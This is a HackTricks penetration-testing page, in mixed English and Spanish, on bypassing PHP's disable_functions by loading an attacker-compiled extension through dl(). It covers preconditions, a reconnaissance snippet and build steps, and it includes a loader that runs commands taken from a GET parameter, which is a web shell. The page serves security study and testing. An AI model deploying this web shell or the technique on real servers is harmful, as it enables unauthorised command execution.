Disable Functions Bypass - dl Function
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
dl() lets PHP load a shared extension at runtime. If you can make it load an attacker-controlled module, you can register a new PHP function that internally calls execve, system, or any other native primitive and therefore bypass disable_functions.
This is a real primitive, but on modern targets it is far less common than older writeups suggest.
Why this bypass is uncommon today
The main blockers are:
dl()must exist and must not be disabledenable_dlmust still allow dynamic loading- The target SAPI must support
dl() - The payload must be a valid PHP extension compiled for the same target ABI
- The extension must be reachable from the configured
extension_dir
The official PHP manual is the most important reality check here: dl() is only available for CLI and embed SAPIs, and for the CGI SAPI when run from the command line. That means the technique is usually not available in normal PHP-FPM/mod_php web requests, so check the SAPI before spending time building a payload.
Also note that enable_dl is an INI_SYSTEM setting and, as of PHP 8.3.0, PHP documents it as deprecated, so you usually cannot flip it at runtime from attacker-controlled PHP code.
If dl() is not viable, go back to the broader list of module/version dependent bypasses.
Fast triage from a foothold
Before building anything, collect the exact parameters that the module must match:
<?php
phpinfo();
echo "PHP_VERSION=" . PHP_VERSION . PHP_EOL;
echo "PHP_SAPI=" . php_sapi_name() . PHP_EOL;
echo "ZTS=" . (PHP_ZTS ? "yes" : "no") . PHP_EOL;
echo "INT_BITS=" . (PHP_INT_SIZE * 8) . PHP_EOL;
echo "enable_dl=" . ini_get("enable_dl") . PHP_EOL;
echo "extension_dir=" . ini_get("extension_dir") . PHP_EOL;
echo "disabled=" . ini_get("disable_functions") . PHP_EOL;
?>
What you care about:
PHP_SAPI: if this isfpm-fcgiorapache2handler,dl()is usually a dead end for web exploitationextension_dir: the payload must be loaded from herePHP Version, architecture, debug/non-debug, and ZTS/non-ZTS: your module must match themdisable_functions: confirm whetherdlis absent because it is disabled or because the SAPI does not support it
Practical exploitation constraints
1. You normally need write access to extension_dir
This is the biggest bottleneck.
dl() takes the extension filename, and PHP loads it from extension_dir. In practice, this means that a normal arbitrary file upload to /var/www/html/uploads is not enough. You still need a path to place a .so/.dll where PHP will actually load extensions from.
Realistic situations where this becomes exploitable:
- CTFs or intentionally weak labs where
extension_diris writable - Shared-hosting or container mistakes that expose a writable extension path
- A separate arbitrary file write primitive that already reaches
extension_dir - Post-exploitation scenarios where you already escalated enough to drop files there
2. The module must match the target build
Matching only PHP_VERSION is not enough. The extension also needs to match:
- OS and CPU architecture
- libc/toolchain expectations
ZEND_MODULE_API_NO- debug vs non-debug build
- ZTS vs NTS
If those do not match, dl() will fail or crash the process.
3. open_basedir is not the main defense here
Once you can place the module in extension_dir and call dl(), the extension code executes inside the PHP process. At that point the relevant barrier was not open_basedir, but the ability to land a valid shared object in the extension loading path.
Building the malicious extension
The classic route is still valid:
- Recreate the victim build as closely as possible
- Use
phpize,./configure, andmaketo build a shared extension - Export a PHP function such as
bypass_exec($cmd)that wraps native command execution - Upload the compiled module into
extension_dir - Load it with
dl()and call the exported function
The attack is old, but still relevant because PHP 8.x changelogs continue to include dl()-specific crash fixes. The primitive still exists; the hard part is finding a deployment where it is reachable and where you can land a matching module.
Minimal workflow
On the attacker box
mkdir bypass && cd bypass
phpize
./configure
make
El objeto compartido resultante normalmente estará bajo modules/.
Si estás compilando en un entorno diferente al objetivo, considera el archivo producido como un borrador hasta verificar que el ABI coincida con el de la víctima.
Cargando y usando la extensión
Si el objetivo realmente soporta dl() y el módulo está dentro de extension_dir, la parte en tiempo de ejecución es simple:
<?php
if (!extension_loaded('bypass')) {
dl('bypass.so'); // use the correct filename for the target platform
}
echo bypass_exec($_GET['cmd']);
?>
En Windows el nombre de archivo normalmente será .dll, mientras que en sistemas tipo Unix normalmente será .so.
Notas del atacante
- No asumas que esto funciona remotamente solo porque
function_exists("dl")devuelve true en alguna documentación o old writeup; valida el SAPI en vivo - Un intento fallido de
dl()puede matar al worker de PHP si el módulo es incompatible - A partir de PHP 8, las funciones deshabilitadas se eliminan de la tabla de funciones, por lo que la enumeración en userland puede diferir de posts más antiguos
- Si no puedes escribir en
extension_dir, esta técnica suele ser menos práctica que FPM/FastCGI,LD_PRELOAD, o module-specific bypasses ya cubiertos en esta sección
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


